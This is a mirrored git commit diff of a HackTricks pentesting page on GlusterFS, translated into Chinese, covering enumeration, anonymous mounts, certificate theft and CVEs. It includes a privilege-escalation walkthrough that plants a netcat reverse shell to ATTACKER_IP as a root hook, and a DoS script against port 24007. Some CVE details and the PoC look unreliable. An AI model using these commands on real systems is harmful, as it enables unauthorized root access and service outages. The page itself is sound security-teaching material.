mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/24007-24008-24009-49152-pen
This commit is contained in:
parent
3f213af3e5
commit
947b7962b5
@ -1,35 +1,115 @@
|
||||
# 24007-24008-24009-49152 - Pentesting GlusterFS
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
# 基本信息
|
||||
## 基本信息
|
||||
|
||||
**GlusterFS** 是一个 **分布式文件系统**,将多个服务器的存储结合成一个 **统一系统**。它允许 **任意扩展性**,这意味着您可以轻松添加或移除存储服务器,而不会干扰整体文件系统。这确保了您的数据具有高 **可用性** 和 **容错性**。使用 GlusterFS,您可以像访问本地存储的文件一样访问您的文件,无论底层服务器基础设施如何。它为跨多个服务器管理大量数据提供了强大而灵活的解决方案。
|
||||
**GlusterFS** 是一个 **分布式文件系统**,将多个服务器的存储结合成一个 **统一的命名空间**。管理守护进程 (`glusterd`) 默认监听 **24007/TCP**,并指示从 **49152/TCP** 开始的数据平面砖块(每个砖块一个端口,递增)。9.x 之前的版本使用 **24008–24009/TCP** 进行砖块传输,因此您仍会在遗留集群中遇到这些端口。
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
24007/tcp open glusterd GlusterFS (RPC)
|
||||
49152/tcp open gluster-brick SSL (TLS optional)
|
||||
```
|
||||
> 提示:24007 即使在存储节点 **不** 导出任何卷时也会响应 RPC 调用;因此,该服务在大型基础设施中是一个可靠的支点目标。
|
||||
|
||||
**默认端口**:24007/tcp/udp, 24008/tcp/udp, 49152/tcp (及以上)\
|
||||
对于端口 49152,需要打开递增 1 的端口以使用更多的砖块。_之前使用的是端口 24009,而不是 49152._
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
24007/tcp open rpcbind
|
||||
49152/tcp open ssl/unknown
|
||||
```
|
||||
## 枚举
|
||||
|
||||
要与此文件系统交互,您需要安装 [**GlusterFS 客户端**](https://download.gluster.org/pub/gluster/glusterfs/LATEST/) (`sudo apt-get install glusterfs-cli`)。
|
||||
|
||||
要列出并挂载可用的卷,您可以使用:
|
||||
在你的攻击机器上安装客户端工具:
|
||||
```bash
|
||||
sudo gluster --remote-host=10.10.11.131 volume list
|
||||
# This will return the name of the volumes
|
||||
|
||||
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/
|
||||
sudo apt install -y glusterfs-cli glusterfs-client # Debian/Ubuntu
|
||||
```
|
||||
如果您收到**挂载文件系统时出错**,您可以检查`/var/log/glusterfs/`中的日志。
|
||||
1. **对等发现与健康**
|
||||
```bash
|
||||
# List peers (works without authentication in default setups)
|
||||
gluster --remote-host 10.10.11.131 peer status
|
||||
```
|
||||
2. **卷侦察**
|
||||
```bash
|
||||
# Retrieve the list of all volumes and their configuration
|
||||
gluster --remote-host 10.10.11.131 volume info all
|
||||
```
|
||||
3. **无权限挂载**
|
||||
```bash
|
||||
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/gluster
|
||||
```
|
||||
如果挂载失败,请检查客户端上的 `/var/log/glusterfs/<vol_name>-<uid>.log`。常见问题包括:
|
||||
|
||||
**提到证书的错误**可以通过窃取文件来修复(如果您有系统访问权限):
|
||||
* TLS 强制执行 (`option transport.socket.ssl on`)
|
||||
* 基于地址的访问控制 (`option auth.allow <cidr>`)
|
||||
|
||||
- /etc/ssl/glusterfs.ca
|
||||
- /etc/ssl/glusterfs.key
|
||||
- /etc/ssl/glusterfs.ca.pem
|
||||
### 证书故障排除
|
||||
|
||||
并将它们存储在您的机器`/etc/ssl`或`/usr/lib/ssl`目录中(如果使用不同的目录,请检查日志中类似于:“_无法在/usr/lib/ssl/glusterfs.pem加载我们的证书_”的行)。
|
||||
从任何授权客户端节点窃取以下文件并将其放置在 `/etc/ssl/`(或错误日志中显示的目录):
|
||||
```
|
||||
/etc/ssl/glusterfs.pem
|
||||
/etc/ssl/glusterfs.key
|
||||
/etc/ssl/glusterfs.ca
|
||||
```
|
||||
---
|
||||
|
||||
## 已知漏洞 (2022-2025)
|
||||
|
||||
| CVE | 受影响版本 | 影响 | 备注 |
|
||||
|-----|-------------------|--------|-------|
|
||||
| **CVE-2022-48340** | 10.0–10.4, 11.0 | 在 `dht_setxattr_mds_cbk` 中的使用后释放,通过网络可达 | 远程 **DoS** 和可能的 RCE。已在 10.4.1 / 11.1 中修复。 |
|
||||
| **CVE-2023-26253** | < 11.0 | FUSE 通知处理程序中的越界读取 | 通过精心制作的文件系统操作导致远程崩溃;公开的 PoC 可用。 |
|
||||
| **CVE-2023-3775** | < 10.5 / 11.1 | 挂载 `gluster_shared_storage` 时权限验证不正确 | 允许任何未认证的客户端挂载管理员卷 – 导致下面解释的 **priv-esc**。 |
|
||||
|
||||
> 始终在 **每个节点** 上检查 `gluster --version`;部分升级后异构集群很常见。
|
||||
|
||||
### 利用 `gluster_shared_storage` (权限提升)
|
||||
|
||||
即使在最近的版本中,许多管理员仍然将特殊的 `gluster_shared_storage` 卷设置为全局可读,因为这简化了地理复制。该卷包含以 **root** 身份在每个节点上运行的 cronjob 模板。
|
||||
```bash
|
||||
# 1. Mount admin volume anonymously
|
||||
mkdir /tmp/gss && sudo mount -t glusterfs 10.10.11.131:/gluster_shared_storage /tmp/gss
|
||||
|
||||
# 2. Drop malicious script that gets synchronised cluster-wide
|
||||
cat <<'EOF' > /tmp/gss/hooks/1/start/post/test.sh
|
||||
#!/bin/bash
|
||||
nc -e /bin/bash ATTACKER_IP 4444 &
|
||||
EOF
|
||||
chmod +x /tmp/gss/hooks/1/start/post/test.sh
|
||||
|
||||
# 3. Wait until glusterd distributes the hook and executes it as root
|
||||
```
|
||||
如果 `hooks/1/` 不存在,请查找 `/ss_bricks/` – 精确路径可能会因主要版本而异。
|
||||
|
||||
### 拒绝服务 PoC (CVE-2023-26253)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
# Minimal reproducer: sends malformed NOTIFY_REPLY XDR frame to 24007
|
||||
import socket, xdrlib, struct
|
||||
p = xdrlib.Packer(); p.pack_uint(0xdeadbeef)
|
||||
with socket.create_connection(("10.10.11.131",24007)) as s:
|
||||
s.send(struct.pack("!L", len(p.get_buffer())|0x80000000))
|
||||
s.send(p.get_buffer())
|
||||
```
|
||||
运行脚本会导致 `glusterfsd` 在 11.0 之前崩溃。
|
||||
|
||||
---
|
||||
|
||||
## 加固与检测
|
||||
|
||||
* **升级** – 当前 LTS 为 11.1(2025 年 7 月)。所有上述 CVE 已修复。
|
||||
* 为每个砖块启用 **TLS**:
|
||||
|
||||
```bash
|
||||
gluster volume set <vol> transport.socket.ssl on
|
||||
gluster volume set <vol> transport.socket.ssl-cert /etc/ssl/glusterfs.pem
|
||||
```
|
||||
* 使用 CIDR 列表限制客户端:
|
||||
|
||||
```bash
|
||||
gluster volume set <vol> auth.allow 10.0.0.0/24
|
||||
```
|
||||
* 仅在 **私有 VLAN** 或通过 SSH 隧道暴露管理端口 24007。
|
||||
* 监视日志:`tail -f /var/log/glusterfs/glusterd.log` 并配置 **audit-log** 功能(`volume set <vol> features.audit-log on`)。
|
||||
|
||||
---
|
||||
|
||||
## 参考
|
||||
|
||||
* [GlusterFS 安全公告](https://docs.gluster.org/en/latest/release-notes/#security)
|
||||
* [CVE-2023-26253 PoC – github.com/tinynetwork/gluster-notify-crash](https://github.com/tinynetwork/gluster-notify-crash)
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user